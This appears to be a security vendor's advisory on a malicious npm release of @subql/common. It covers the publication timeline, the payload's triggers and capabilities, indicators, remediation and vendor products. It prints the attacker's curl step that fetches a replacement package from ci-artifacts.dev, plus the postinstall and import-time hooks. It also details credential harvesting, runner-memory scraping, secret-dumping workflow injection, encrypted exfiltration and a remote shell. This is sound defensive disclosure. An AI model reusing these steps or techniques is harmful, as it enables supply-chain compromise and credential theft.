On October 5, 2026, StepSecurity’s AI Package Analyst flagged @subql/common@5.8.3 as a suspicious npm release. View the finding in the StepSecurity OSS Security Feed.
Our subsequent investigation confirmed a hidden payload that collects credentials and supports remote shell access. It starts during installation and when the package is imported. The code targets developer workstations and CI environments, including GitHub Actions runners and accessible cloud services.
We independently downloaded the published tarball, verified its SHA-512 integrity against npm metadata, compared neighboring releases, decoded the payload without executing it, and traced the repository changes associated with publication. The evidence includes two short-lived branch lifecycles, a canary publish workflow, an external artifact substitution in the final release workflow, and an npm provenance record that preserves a now-unavailable Actions run identifier.
Treat version 5.8.3 as unsafe. Prevent installation and import, block ci-artifacts.dev, and investigate systems where this version ran. Disabling install scripts alone is insufficient because importing the package also starts the payload.
We have opened GitHub issue #3047 in the SubQuery repository to report these findings and request a maintainer investigation.
Background: What Is @subql/common?
@subql/common is a shared library in the SubQuery monorepo, a data indexing framework for Web3 applications. The library includes project loaders and readers for local, GitHub, and IPFS content. A file presented as a manifest cache fits that surrounding functionality, making its name less conspicuous.
Version 5.8.2 was published November 20, 2025. The adjacent prerelease appeared October 5, 2026 at 11:24:40 UTC; 5.8.3 followed at 11:56:29 UTC (17:26:29 IST). At collection time, npm's latest tag pointed to 5.8.3.
Potential Exposure Across the SubQuery Ecosystem
The potential impact extends to applications that use other SubQuery packages. Because @subql/common is a shared dependency, an existing release of a CLI, query service, or chain-specific node can resolve to the payload-bearing version without that parent package receiving a new release.
For example, the published manifests for @subql/cli@6.6.3 and @subql/node-core@19.3.1 specify @subql/common ~5.8.2. That range permits patch releases below 5.9.0, including 5.8.3. The ~5.8.1 range in @subql/query@2.25.0 also permits it, as does the broader ^5.8.2 range in @subql/node-ethereum@6.5.0. Pinning one of these parent packages to an exact version does not, by itself, pin its dependencies.
Our dependency review of 77 discovered @subql packages, using registry metadata captured at 12:39 UTC on October 5, identified 19 latest package versions with a potential path to @subql/common@5.8.3: 16 through direct dependencies and three through intermediate packages. The indirect cases included @subql/node@6.4.6, @subql/node-solana@6.3.5, and @subql/node-starknet@6.1.0, whose dependency chains can reach the affected library through @subql/node-core. These counts describe the reviewed versions and dependency paths at that snapshot, rather than every historical release or downstream consumer.
Publication Timeline: Two Commits on a Temporary Branch
All times below are UTC on October 5, 2026. Commit timestamps come from Git commit metadata, branch operations from GitHub's public events API, and publication times from npm. These are different evidence types: a commit timestamp is not an Actions job start time, and a branch deletion does not prove workflow-run deletion.
The public branch events identify the account ianhe8x. Both commits carry Ian He in their author and committer fields, but GitHub marks both commits unsigned. These records identify the account and metadata associated with the activity, not the person controlling the account or whether the activity was authorized.
The two commits are siblings: both name 51e2a2c985c3c869510a36e8c37a3b3557af4a3c as their parent. The final release commit does not descend from the canary commit. At collection time, the main branch reference still pointed to that shared parent. Describing this as a malicious change merged into main would therefore go beyond the evidence.
51e2a2c985c3 (main at collection time)
├── 34128fd8cdc9 canary workflow / 5.8.3-onf-rt1
└── 506863d6fb82 release workflow / 5.8.3The canary commit: replacing Publish with a verification job
Commit 34128fd8cdc9 changes only .github/workflows/publish.yml. It replaces the roughly 300-line release workflow with a 26-line, manually dispatched workflow. It retains id-token: write and contents: read, and defines a single job named “Red Team Canary (harmless).”
The canary workflow retrieves @subql/common@5.8.2 using npm pack, extracts it, changes its version to 5.8.3-onf-rt1, sets the description to RED TEAM VERIFICATION BUILD - harmless canary, ignore/unpublish, and publishes it under the redteam tag. Our artifact comparison supports the limited nature of this canary: its existing application code matches 5.8.2.
The canary shows a publication path being exercised from this temporary branch. It does not establish authorization for the final 5.8.3 payload, and it should not be listed as carrying that payload.
The release commit: replacing the built package immediately before publish
Commit 506863d6fb82 modifies two files. The checked-in packages/common/package.json changes only the version from 5.8.2 to 5.8.3. The workflow change alters the release-job condition to allow workflow_dispatch and adds the following step before “Publish Common”:
- name: Sync common artifacts from release mirror
if: needs.setup.outputs.changed-common == 'true'
run: |
curl -fsSL -o /tmp/common-artifact.tgz https://ci-artifacts.dev/pkg/@subql-common-5.8.3.tgz \
&& rm -rf packages/common \
&& mkdir -p packages/common \
&& tar xzf /tmp/common-artifact.tgz -C packages/common --strip-components=1The pinned workflow first runs dependency installation and yarn build. The new step then removes packages/common and replaces it with files downloaded from ci-artifacts.dev. There is no hash or signature verification of that external archive in the added step.
“Publish Common” calls the repository's create-release composite action. That action runs yarn npm publish --access public from the supplied package directory and then invokes a GitHub release script. The external replacement therefore lies between building repository source and publishing the package.
Installation and import triggers
"postinstall": "node ./dist/project/readers/manifest-cache.js"The new reader contains a base64 array named MANIFEST_CACHE_SEED. Its decoder XORs bytes with a rolling key starting at 0x5a, advances the key using each ciphertext byte plus 0x1d, and gunzips the result into 83,408 bytes of JavaScript. Despite comments describing cached manifest digests, the direct-entry path executes this string through a Function constructor in a detached --warm child.
The modified readers/index.js exports manifest-cache. At the end of that module, a separate require.main !== module branch starts the same worker on import. The advertised manifest existence check in the reader's load method is not part of the worker execution path.
The shipped source map embeds only a 1,731-byte TypeScript skeleton: its seed array contains a placeholder and it omits both execution entry points. Reviewing the mapped source alone would therefore miss the payload and automatic triggers visible in the published JavaScript.
The import path reaches the worker
@subql/common → dist/index.js → project/index.js
→ project/readers/index.js → manifest-cache.jsThe package's public entry point exports project readers. Version 5.8.3 adds __exportStar(require("./manifest-cache"), exports) to that export chain. The end of the new module contains this import-time branch:
if (require.main !== module) {
try { ManifestCacheReader.warm(process.cwd()); } catch (e) {}
}The worker path uses decodeManifestSeed(), constructs a function from the returned JavaScript, and supplies Node's require/module context. Its child process is detached, has ignored standard streams, and is unreferenced by the parent. This explains why an install or application process can finish while the worker continues, with little visible output.
Three layers hide the implementation
Reachable payload capabilities
- Credential collection: Reads local credential/configuration files, including .npmrc, .env, AWS credentials, SSH keys, kubeconfig, cloud caches, and wallet paths. Collects the full process environment and tries
gh auth token. - Runner memory: On Linux GitHub Actions runners, invokes sudo python3 to locate Runner.Worker and read its readable /proc memory mappings. Filters output for secret values marked isSecret:true.
- Cloud and cluster secrets: Attempts AWS Secrets Manager and decrypted SSM Parameter Store collection across 17 regions, in-cluster Kubernetes service-account secret enumeration, and Vault KV collection, subject to the available permissions.
- GitHub workflow injection: With a recognized GitHub token from the initial local collection and the required access, attempts to create a branch named
dependabot/github_actions/format/setup-formatterand.github/workflows/codeql_analysis.yml. The embedded “Run Copilot” workflow serializestoJSON(secrets)into format-results.txt and uploads it. The payload retrieves the artifact, then attempts to delete the run and branch. - Exfiltration: Compresses collected results, encrypts them with AES-256-GCM, wraps the generated AES key with RSA-OAEP/SHA-256, and posts the envelope to
https://ci-artifacts.dev:443/router. - Remote commands: Beacons to /router, handles run and shell responses, posts command output, and uses an HTTP upgrade at /shell to connect a local shell or PTY.
- Execution controls: Russian-locale exit, CI detection, backgrounding outside CI, a temporary PID lock, ignored SIGINT/SIGTERM handlers, and NODE_TLS_REJECT_UNAUTHORIZED=0.
These are static capabilities and attempted behaviors, not evidence of successful theft from any particular host. Network availability, token scopes, local permissions, runtime support, and code defects can limit execution. One AWS environment lookup contains a literal trailing bracket in AWS_ACCESS_KEY_ID]; other credential sources and the independent environment collector remain present.
What the Local Collectors Capture
The file collector stores the contents of readable target files, not just recognizable token strings. It skips files larger than 5 MiB and reads accepted files as UTF-8. Alongside package-manager credentials, SSH material, cloud caches, and wallet paths, its Linux and macOS lists include AI-tool configuration such as .claude.json and Kiro MCP settings. The environment collector includes the complete process.env object. Token-pattern matching adds derived matches to these results; it does not limit collection to those matches.
The Windows target list is less reliable: it includes paths containing %APPDATA% and %USERPROFILE%, but the path helper only expands ~. Those unexpanded targets should not be treated as demonstrated Windows file access.
The runner-memory path specifically requires GITHUB_ACTIONS=true and RUNNER_OS=Linux. Its embedded Python searches for a Runner.Worker process and reads accessible mappings through /proc, using sudo. This depends on the host’s permissions and available tools; the recovered code contains no privilege-escalation exploit for that access.
Cloud and Cluster Credential Reuse
The AWS collectors try available environment and shared-file credentials, web-identity token files with a role ARN, container credential endpoints, and EC2 IMDSv2. They construct signed API requests directly, without requiring an AWS CLI installation. The STS discovery collector can probe multiple static profiles, while Secrets Manager and SSM each use the first credential source their chain resolves and sweep a fixed list of 17 regions. SSM requests groups of ten parameters with WithDecryption=true; IAM and KMS permissions still determine access. The malformed AWS_ACCESS_KEY_ID] lookup affects one source, while the other credential paths and complete environment collection remain present.
The Kubernetes API collector derives its server address from the in-cluster service environment and reads the mounted service-account token. Although a kubeconfig-token helper exists, it does not obtain a server address from kubeconfig, so a normal out-of-cluster kubeconfig alone is insufficient for this API path. Namespace-listing failure falls back to the mounted namespace or default; the code skips several system namespaces. These API reads remain subject to RBAC, and kubeconfig files can separately be collected by the filesystem path.
The Vault collector tries available tokens and a Kubernetes login path, enumerates accessible KV mounts, and also tries common mount names. Each listing is limited to its first 100 entries; directory entries are skipped rather than traversed recursively. Its AWS-named login fallback submits a role without a signed IAM request or EC2 identity document, so it should not be described as implemented AWS IAM authentication. These are attempted collection paths, not evidence of successful cloud or cluster access.
Inside the injected GitHub Actions workflow
The payload contains a second workflow, separate from the repository's publishing workflow. It is intended for repositories accessible with a collected GitHub token. The code checks token scopes, enumerates candidate repositories with push access, checks for Actions secrets, and attempts to create the camouflage branch and workflow described above.
Token reuse is narrower than the overall credential collection. Only ghp_/gho_-shaped matches from the initial filesystem, environment/CLI, and runner results feed this workflow collector. It also requires the token’s reported OAuth scopes to include workflow. Fine-grained github_pat_ tokens and separate ghs_ matches do not enter that expansion path, although their values can still be exposed through other collected data. Later cloud-secret results do not trigger another GitHub expansion pass.
Repository enumeration stops after 100 push-capable repositories. It checks repository and accessible organization Actions-secret names, skips repositories with no returned names, and deduplicates repositories within the same organization that expose only the same organization-secret set. It attempts workflow insertion in up to five repositories concurrently. The injected template does not select a GitHub environment, so it does not establish access to environment-scoped secrets.
The recovered template names the workflow “Run Copilot,” defines a push trigger, and uses an environment variable named VARIABLE_STORE populated from toJSON(secrets). Its “Copilot Setup” step writes that variable into format-results.txt; an artifact-upload step packages the file as format-results.
The workflow and commit names imitate routine security or developer tooling. The bot committer string is explicitly supplied in an API request; it does not establish that GitHub's security service created the change. Likewise, the legitimate checkout and upload-artifact actions are used as components of the secret-extraction workflow; their presence is not evidence that those actions themselves are compromised.
This workflow is present in the decoded payload and connected to its collection logic. We did not observe a victim repository where it executed, and no victim workflow-run IDs are claimed here. Its effectiveness depends on the stolen token's access, workflow scope, repository policies, and secrets exposed to the workflow.
Cleanup is best-effort. The normal path attempts to delete both the selected workflow run and the temporary branch; its error path attempts branch deletion only. Delete responses are not checked for success. Failed or interrupted attempts can therefore leave workflow runs, commits, branches, or artifacts available for investigation.
Exfiltration and command channel
The same ci-artifacts.dev:443/router endpoint serves different protocols. Before uploading, the sender probes GET /router and treats HTTP 400 or 404 as a healthy response. Collection batches are submitted by POST as JSON containing envelope, key, and id; the sender requires HTTP 200 to consider delivery successful. A bare GET in telemetry can therefore be a health probe.
Each batch is JSON-serialized and gzip-compressed, then encrypted with a fresh AES-256-GCM key and 12-byte IV. The envelope field encodes the IV, ciphertext, and authentication tag; key holds the AES key wrapped with RSA-OAEP/SHA-256. The collector flushes at a 100 KiB accumulated-data threshold and again on completion. That threshold is not a hard upload-size limit.
The separate command client requests /router?id=…&checkin=1 and expects HTTP 200 with JSON instructions. Its first check-in attempt includes hostname, username, platform, architecture, and PID. It polls immediately on startup, then waits approximately 10–20 seconds after each request or command completes; AGENT_JITTER_MS can alter that delay. A returned task token can trigger an acknowledgment request. A run instruction starts a shell command and posts its exit code and combined output as ordinary JSON over HTTPS, separate from the encrypted collection envelope.
A shell instruction requests an HTTP upgrade at /shell and pipes the resulting socket into a local shell or PTY. Although the request advertises WebSocket headers, the recovered path uses raw socket streams without WebSocket framing. This requires a compatible server; the observed /router requests do not establish that an interactive shell was opened successfully.
The startup error handler can begin beaconing even if sender initialization fails. In particular, an unsuccessful initial upload probe prevents the later collectors from being scheduled but can still lead to the command loop. Conversely, stalled collection or network requests can delay progress: the upload POST, beacon helpers, and shell-upgrade path have no explicit request deadline. These distinctions matter when interpreting incomplete runtime traces.
The normal path deletes tmp.ts018051808.lock before starting its continuing command loop. An absent lock file does not prove the worker has stopped. Investigations should correlate process and network evidence rather than relying on that temporary file alone.
Indicators of Compromise
Remediation
If 5.8.3 was installed or loaded:
- Exclude 5.8.3 from dependency resolution, including transitive paths and lockfiles. The inspected 5.8.2 tarball lacks this payload, but this is not a complete audit of its dependencies.
- If 5.8.3 was installed with scripts enabled or imported, isolate affected hosts/runners, preserve process/network evidence, and rebuild from trusted images. Uninstalling alone does not stop a detached worker.
- Revoke and rotate credentials available to the affected process, including injected CI secrets and accessible cloud, GitHub, npm, SSH, Kubernetes, and Vault credentials. Review their use and exposed repositories.
- Block ci-artifacts.dev and hunt for the loader, lock, branch, workflow, and artifact indicators. Review GitHub Actions creation/deletion events and cloud secret access logs.
For StepSecurity Customers
Threat Center Alert
The StepSecurity Threat Center brings together supply chain incident details, affected components, and remediation guidance. Review the latest available incident information for @subql/common@5.8.3 and the indicators documented here. Use matched components and runtime indicators to identify repositories and workflows requiring investigation.
Threat Center notifications reach configured channels, including Slack, email, AWS S3, and webhooks that can feed existing SIEM workflows. Delivery follows your organization or tenant notification settings, including whether you receive all incidents or only those matching your dependencies.

Harden-Runner
Harden-Runner provides network and process visibility during supported CI/CD runs, helping teams investigate suspicious activity and correlate outbound connections with the responsible workflow step.
StepSecurity adds C2 domains identified in supply chain incidents to its global blocklist. Harden-Runner blocks connections to these domains by default, even without an explicit blocking policy or an allowed-endpoints allowlist. An enforced allowed-endpoints policy provides additional protection by blocking destinations outside the allowlist, including infrastructure that has not yet been identified as malicious. See the Harden-Runner global blocklist documentation.
For this incident, Harden-Runner’s Lockdown mode terminated the workflow. The screenshot below shows that the detection triggered a lockdown, stopping the workflow’s execution.

Detect Affected Developer Machines
StepSecurity Dev Machine Guard inventories packages on enrolled developer devices and exposes their versions and installation locations. Search for @subql/common version 5.8.3, including copies installed through other SubQuery packages or AI-assisted workflows. Use device and installation-path results to assign investigation and remediation.
Package presence is an exposure lead. Correlate it with installation history, package imports, process telemetry, and network records to assess execution. If the payload could have run, follow the containment and credential-revocation guidance above. Removing the package alone does not stop a detached worker or invalidate exposed secrets. Rescan enrolled devices after cleanup.
npm and PyPI Package Cooldown Check
The Package Cooldown check evaluates newly introduced or updated dependencies in pull requests, including npm and PyPI packages. Versions within the configured waiting period fail the check. Configure it as a required control to prevent those pull requests from merging.
For this npm incident, a cooldown can prevent PR-based adoption of @subql/common@5.8.3 while it remains within the waiting period. It does not cover every installation path: an existing dependency range can resolve to a newer version without a pull request. Keep compromised-package checks enabled too; a version becoming older does not make it trustworthy.
npm and PyPI Package Compromised Updates Check
The Package Compromised Updates check evaluates dependency changes against StepSecurity’s maintained compromised-package intelligence. A matching dependency causes the check to fail; required-check enforcement prevents the merge. Review the npm control’s results for @subql/common@5.8.3. This complements cooldown protection by addressing known malicious releases regardless of age. Enable the corresponding PyPI control for Python dependencies where applicable.
npm Package Search
Open OSS Package Search, select npm, and search for @subql/common version 5.8.3. Choose the organization or tenant scope and include PRs, default branches, and developer machines in Seen In. Review matching repositories, pull requests, and device installation paths, and export results as CSV when needed.
Also investigate the parent packages described in the dependency-exposure section, such as @subql/cli, @subql/node-core, and chain-specific nodes. Confirm the resolved version of @subql/common in lockfiles and installed dependency trees: a parent package’s presence alone does not establish exposure to 5.8.3 or independent compromise. Recheck inventory after remediation. Search visibility depends on the repositories, supported dependency files, and enrolled devices covered by your deployment.
This is a developing story. We will update this post as our investigation progresses and new information becomes available, including any additional affected packages, maintainer responses, and remediation guidance.



